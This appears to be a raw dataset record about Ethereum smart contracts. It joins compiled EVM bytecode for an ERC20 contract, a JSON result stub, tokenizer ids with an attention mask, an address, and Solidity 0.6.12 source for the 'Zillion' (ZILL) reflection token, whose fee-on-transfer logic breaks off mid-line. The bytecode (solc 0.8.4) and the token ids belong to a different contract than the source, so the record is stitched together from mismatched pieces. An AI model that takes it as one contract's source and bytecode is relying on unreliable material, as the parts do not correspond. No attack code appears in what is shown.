76040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec2906118fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f32906117de565b60405180910390fd5b610f46838383611402565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc39061185e565b60405180910390fd5b8181610fd89190611a26565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461106891906119d0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110cc919061197e565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111419061195e565b60405180910390fd5b61115660008383611402565b806002600082825461116891906119d0565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111bd91906119d0565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611222919061197e565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561129e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611295906118de565b60405180910390fd5b6112aa82600083611402565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611330576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611327906117fe565b60405180910390fd5b818161133c9190611a26565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546113909190611a26565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113f5919061197e565b60405180910390a3505050565b505050565b60008135905061141681611f3a565b92915050565b60008135905061142b81611f51565b92915050565b60006020828403121561144357600080fd5b600061145184828501611407565b91505092915050565b6000806040838503121561146d57600080fd5b600061147b85828601611407565b925050602061148c85828601611407565b9150509250929050565b6000806000606084860312156114ab57600080fd5b60006114b986828701611407565b93505060206114ca86828701611407565b92505060406114db8682870161141c565b9150509250925092565b600080604083850312156114f857600080fd5b600061150685828601611407565b92505060206115178582860161141c565b9150509250929050565b60006020828403121561153357600080fd5b60006115418482850161141c565b91505092915050565b61155381611a5a565b82525050565b61156281611a6c565b82525050565b6000611573826119b4565b61157d81856119bf565b935061158d818560208601611aaf565b61159681611b72565b840191505092915050565b60006115ae6023836119bf565b91506115b982611b83565b604082019050919050565b60006115d16022836119bf565b91506115dc82611bd2565b604082019050919050565b60006115f46026836119bf565b91506115ff82611c21565b604082019050919050565b60006116176022836119bf565b915061162282611c70565b604082019050919050565b600061163a6026836119bf565b915061164582611cbf565b604082019050919050565b600061165d6028836119bf565b915061166882611d0e565b604082019050919050565b60006116806020836119bf565b915061168b82611d5d565b602082019050919050565b60006116a36024836119bf565b91506116ae82611d86565b604082019050919050565b60006116c66021836119bf565b91506116d182611dd5565b604082019050919050565b60006116e96025836119bf565b91506116f482611e24565b604082019050919050565b600061170c6024836119bf565b915061171782611e73565b604082019050919050565b600061172f6025836119bf565b915061173a82611ec2565b604082019050919050565b6000611752601f836119bf565b915061175d82611f11565b602082019050919050565b61177181611a98565b82525050565b61178081611aa2565b82525050565b600060208201905061179b600083018461154a565b92915050565b60006020820190506117b66000830184611559565b92915050565b600060208201905081810360008301526117d68184611568565b905092915050565b600060208201905081810360008301526117f7816115a1565b9050919050565b60006020820190508181036000830152611817816115c4565b9050919050565b60006020820190508181036000830152611837816115e7565b9050919050565b600060208201905081810360008301526118578161160a565b9050919050565b600060208201905081810360008301526118778161162d565b9050919050565b6000602082019050818103600083015261189781611650565b9050919050565b600060208201905081810360008301526118b781611673565b9050919050565b600060208201905081810360008301526118d781611696565b9050919050565b600060208201905081810360008301526118f7816116b9565b9050919050565b60006020820190508181036000830152611917816116dc565b9050919050565b60006020820190508181036000830152611937816116ff565b9050919050565b6000602082019050818103600083015261195781611722565b9050919050565b6000602082019050818103600083015261197781611745565b9050919050565b60006020820190506119936000830184611768565b92915050565b60006020820190506119ae6000830184611777565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119db82611a98565b91506119e683611a98565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a1b57611a1a611b14565b5b828201905092915050565b6000611a3182611a98565b9150611a3c83611a98565b925082821015611a4f57611a4e611b14565b5b828203905092915050565b6000611a6582611a78565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611acd578082015181840152602081019050611ab2565b83811115611adc576000848401525b50505050565b60006002820490506001821680611afa57607f821691505b60208210811415611b0e57611b0d611b43565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611f4381611a5a565b8114611f4e57600080fd5b50565b611f5a81611a98565b8114611f6557600080fd5b5056fea264697066735822122040a88b00cc8af47ae8857933e417ebedb3f34895e68f3e9b2e2a964db43c716064736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2475, 7875, 2094, 2683, 2546, 2683, 2549, 2094, 2575, 2620, 21926, 2575, 15878, 2683, 23352, 2620, 4402, 22367, 26224, 2683, 2509, 2546, 22610, 2629, 2050, 2692, 2546, 21057, 1013, 1013, 1996, 14753, 2072, 19204, 1013, 1013, 9413, 2278, 11387, 28855, 14820, 4132, 19204, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,685
0x972bab7a581ef98312386ab42470acff11b09b88
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // Contract implementation contract ZILL is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Zillion'; string private _symbol = 'ZILL'; uint8 private _decimals = 9; // Tax and team fees will start at 0 so we don't have a big impact when deploying to Uniswap // Team wallet address is null but the method to set the address is exposed uint256 private _taxFee = 2; uint256 private _teamFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 private _previousTeamFee = _teamFee; address payable public _teamWalletAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; bool public _MaxBuyEnabled = true; uint256 private _maxTxAmount = 10000000000000 * 10**9; uint256 private _maxBuy = 10000000000 * 10**9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable teamWalletAddress, address payable marketingWalletAddress) public { _teamWalletAddress = teamWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamWalletAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousTeamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousTeamFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(_MaxBuyEnabled){ if(sender == uniswapV2Pair && recipient != owner() && sender != owner()){ require (amount <= _maxBuy); } } // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular team event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = 